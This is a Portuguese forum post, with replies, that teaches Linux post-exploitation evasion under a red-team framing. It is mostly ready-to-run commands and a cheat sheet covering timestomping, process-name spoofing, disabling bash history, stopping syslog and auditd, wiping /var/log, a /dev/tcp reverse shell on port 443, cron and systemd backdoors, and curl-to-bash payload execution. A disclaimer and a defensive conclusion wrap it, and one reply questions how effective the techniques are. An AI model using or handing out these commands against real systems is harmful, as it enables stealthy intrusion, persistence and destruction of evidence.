Executando verificação de segurança...
6

Pentest Furtivo: Como Atacantes Camuflam Ações e Evitam Detecção(Linux)


No mundo da segurança ofensiva, não basta apenas comprometer um sistema: é essencial realizar isso de maneira furtiva e disfarçada, simulando a atuação de um invasor real.
Esse tipo de conhecimento é utilizado em Red Team Exercises e Pentests avançados, onde o objetivo não é apenas identificar vulnerabilidades, mas também demonstrar o impacto real de um ataque sem ser detectado facilmente.

⚠️ Aviso importante:
Este material é exclusivamente educacional e deve ser usado apenas em laboratórios controlados ou em sistemas próprios.
O uso indevido dessas técnicas pode configurar crime digital.


1. Alterando timestamps de arquivos

Arquivos recém-criados chamam atenção em análises forenses. Alterar seus metadados pode ajudar a disfarçar:

touch -r /bin/ls teste.sh          # copia timestamp do binário ls
touch -t 202001011200.00 teste.sh  # simula data antiga

Com isso, o arquivo passa a parecer “antigo” e menos suspeito em listagens.


2. Disfarçando processos no sistema

Listagens com ps ou top podem expor processos maliciosos. Para camuflar:

exec -a "[kworker/0:1H]" ./script.sh

Agora o processo simula um kernel worker. Outra técnica é alterar o nome diretamente em /proc:

echo "httpd" > /proc/$$/comm

Isso faz o processo parecer um servidor legítimo.


3. Evitando registros no histórico do Bash

O ~/.bash_history é uma das primeiras fontes analisadas em investigações. Para desativar:

HISTFILE=/dev/null
unset HISTFILE
set +o history

Ou, ao encerrar a sessão:

history -c && history -w

4. Manipulando logs temporariamente

Interromper a geração de logs pode ser útil, mas aumenta o risco de detecção.

service rsyslog stop    # interrompe syslog
auditctl -e 0           # desativa auditoria Linux

⚠️ Em ambientes reais, a ausência de registros costuma levantar alertas.


5. Uso de aliases para camuflagem

Aliases podem modificar comandos usados por administradores:

alias ls='ls --color=auto --hide=payload.sh'

Ou criar comandos de limpeza rápida:

alias vanish='rm -rf ~/.bash_history /var/log/*'

6. Arquivos ocultos e falsos

Arquivos iniciados com . não aparecem em listagens normais:

mv payload.sh .payload.sh

Outra prática é renomeá-los como serviços legítimos:

mv script.sh systemd-update.sh

7. Disfarçando tráfego de rede

Canais de comunicação precisam parecer legítimos. Em vez de usar portas suspeitas, utilize portas comuns:

bash -i >& /dev/tcp/192.168.0.10/443 0>&1

Esse tráfego se mistura ao HTTPS. Também é possível encapsular payloads em protocolos como DNS ou ICMP.


8. Limpando logs após atividades

Para apagar evidências específicas:

sed -i '/usuario/d' /var/log/auth.log

Ou sobrescrever arquivos inteiros:

> /var/log/auth.log

⚠️ Atenção: logs “limpos demais” são tão suspeitos quanto logs cheios.


9. Persistência oculta

Criar mecanismos de permanência é comum em ataques reais. Exemplos:

Via cron:

(crontab -l ; echo "*/5 * * * * /usr/local/bin/.sys-update.sh") | crontab -

Via systemd:

[Unit]
Description=System Update Service

[Service]
ExecStart=/usr/local/bin/.update.sh

[Install]
WantedBy=multi-user.target

10. Execução sem gravação no disco

Nem sempre é necessário salvar arquivos no sistema.

curl -s http://servidor/payload.sh | bash

Quando inevitável, use diretórios voláteis (/dev/shm, /tmp) que são limpos em reinicializações.


11. Técnicas adicionais

  • Injeção em memória: ferramentas como memfd_create permitem executar binários direto da memória.
  • LD_PRELOAD: bibliotecas compartilhadas podem interceptar chamadas de sistema.
  • Steganografia de tráfego: ocultar dados maliciosos em pacotes legítimos.
  • Living-off-the-land: uso de binários já presentes no sistema (LOLBins) reduz a necessidade de novos arquivos.

Conclusão

A evasão é tão importante quanto a exploração.
Um atacante que compromete um sistema mas deixa rastros visíveis será facilmente detectado.

Para defensores, estudar essas técnicas é essencial: cada truque ofensivo descrito aqui possui um contraponto defensivo, como monitoramento de integridade, auditoria de processos, alertas de syslog e análise comportamental.

Em última análise, conhecer a arte de se esconder é também a chave para melhor detectar e defender.


📌 Tabela-resumo (Cheat Sheet)

TécnicaExemplo de comandoO que faz
Alterar tempo de arquivobash touch -r /bin/ls hack.sh Faz arquivo parecer antigo
Nome falso no processobash exec -a \"[kworker]\" ./evil.sh Disfarça em ps
Alterar nome em /procbash echo \"httpd\" > /proc/\$\$/comm Faz parecer webserver
Desativar histórico Bashbash HISTFILE=/dev/null Nada é gravado
Limpar históricobash history -c && history -w Apaga sessão
Parar logsbash service rsyslog stop Interrompe syslog
Desativar auditoriabash auditctl -e 0 Pausa registros
Alias para camuflagembash alias ls='ls --hide=arquivo.sh' Esconde arquivos
Alias para apagar rastrosbash alias vanish='rm -rf ~/.bash_history /var/log/[...]' Remove históricos e logs
Arquivo ocultobash mv script.sh .script.sh Invisível sem ls -a
Disfarce como serviçobash mv script.sh systemd-update.sh Parece legítimo
Reverse shell em porta 443bash -i >& /dev/tcp/ip/443 0>&1Se mistura ao HTTPS
Apagar registrosbash sed -i '/user/d' /var/log/auth.log Remove entradas
Backdoor via cronbash (crontab -l; echo \"*/5 * * * * /usr/local/bin/.sys.sh\") | crontab - Persistência oculta
Backdoor via systemdbash ExecStart=/usr/local/bin/.update.sh Serviço camuflado
Execução sem salvar arquivobash curl http://exemplo/payload.sh | bash Nada fica gravado

🔐 Use este conhecimento apenas para fortalecer a segurança dos seus próprios sistemas!

Pentest Furtivo: Como Atacantes Camuflam Ações e Evitam Detecção

Carregando publicação patrocinada...
-2

Sei lá, não gostei do texto. Todas as partes apresentadas são facilmente detectáveis, e qualquer empresa séria com um mínimo de segurança se protege/detecta de tudo isso. O primeiro comando mesmo você consegue identificar através do stat no arquivo, por exemplo:

Access: 2020-01-01 12:00:00.000000000 -0300
Modify: 2020-01-01 12:00:00.000000000 -0300
Change: 2025-09-15 14:10:07.035502295 -0300
 Birth: 2025-09-15 14:09:23.711524241 -0300

Aqui você pode ver que o "Birth" do arquivo foi no dia 15 de setembro de 2025. Isso é algo que não dá para alterar. Quando você baixa um arquivo da internet, ele recebe o timestamp Birth atual do arquivo, não há como modificar isso. Assim que o arquivo entra no sistema, o sistema se encarrega de fazer esse timestamp.

Acredito que todos os cenários que você mostrou não se tratam de pentest, mas sim de alguém com acesso sudo tendo acesso a uma máquina e querendo fazer algo nela. Aí já não é pentest, é acesso sudo. Se a pessoa quer fazer algo malicioso tendo acesso sudo, existem várias formas mais eficazes.

4

Opa, cara entendo seus pontos, mas:

A premissa de que "qualquer empresa séria" possui um nível de maturidade em segurança capaz de detectar essas técnicas é desconectada da realidade. A grande maioria das empresas, incluindo muitas de grande porte, não possui um SOC 24/7, EDRs bem configurados, ou analistas dedicados a caçar ameaças. O "mínimo de segurança" para muitas ainda é um firewall e um antivírus tradicional.

As técnicas que apresentei não são destinadas a enganar uma equipe de forense digital especializada após o fato, mas sim a evitar a detecção inicial por sistemas automatizados e por administradores de sistemas sobrecarregados durante uma verificação de rotina. Um ps aux ou um ls -l são comandos executados centenas de vezes ao dia. O objetivo é se misturar ao ruído, não ser invisível.

Change Time é alterado quando se usa touch e é um forte indicador de manipulação. No entanto, quantos administradores, ao investigar um alerta, usam stat em cada arquivo suspeito? A primeira checagem é ls -l, que exibe o mtime. O comando touch -r é eficaz para burlar essa primeira camada de verificação visual.

Sobre ser um pentest, um pentest ou exercício de Red Team simula um ataque completo. Ele começa com a exploração de uma vulnerabilidade para obter acesso inicial (muitas vezes como um usuário de baixo privilégio, como www-data). Em seguida, vem a fase de pós-exploração, que inclui escalonamento de privilégios para obter root ou sudo. As técnicas descritas são exatamente o que um atacante faz DEPOIS de obter acesso sudo. O objetivo não é mais ganhar acesso, mas sim MANTER o acesso e operar sem ser detectado.

O que apresentei é sobre sutileza e longevidade. São métodos de baixo custo e baixo ruído para manter a presença em um sistema por semanas ou meses, observando, coletando informações e esperando o momento certo para agir